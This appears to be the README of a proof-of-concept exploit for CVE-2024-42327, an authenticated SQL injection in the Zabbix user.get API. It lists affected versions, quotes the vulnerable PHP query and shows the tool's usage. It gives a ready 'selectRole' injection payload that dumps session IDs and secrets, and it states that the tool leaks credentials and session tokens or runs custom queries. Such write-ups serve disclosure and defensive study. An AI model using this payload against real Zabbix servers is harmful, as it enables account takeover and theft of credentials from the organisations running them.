watchdog1337/cve-2024-42327_zabbix_sqliPOC for CVE-2024-42327, an authenticated SQL Injection in Zabbix through the user.get API Method
POC for CVE-2024-42327, an authenticated SQL Injection in Zabbix through the user.get API Method. This POC is not time based like some of the other POCs I have seen out there.
The vulnerability exists in the user.get API endpoint that can be exploited by a non-admin user with API access, including accounts with the default User role.
The SQL injection flaw exists in the CUser class in the addRelatedObjects function. This function is being called from the CUser.get function, which is available to users with API access.
An attacker may inject SQL commands by manipulating API calls.
Successful exploitation of the vulnerability may allow an attacker to gain unauthorized access and control.
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
This POC will leak user credentials from the database, as well as leaking session tokens to authenticate to the API with.
The option exists to run a custom SQL query (--query).
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.
options:
-h, --help show this help message and exit
-u URL, --url URL The URL to Zabbix (please include the path - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
The username to authenticate with
-P PASSWORD, --password PASSWORD
The password to authenticate with
--query QUERY An optional custom SQL query to run through the SQL Injection
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
Examining the code at https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php in the addRelatedObjects function, we easily find the vulnerable SQL Query (lines 3046 - 3051)
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
It is immediately obvious that the values included in $options['selectRole'] is passed into the SQL query.
A typical JSON Blob to hit this part of the code looks like the following:
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
We may craft the "selectRole" values to allow for SQL Injection
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
The above injection makes the SQL query something like the below:
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)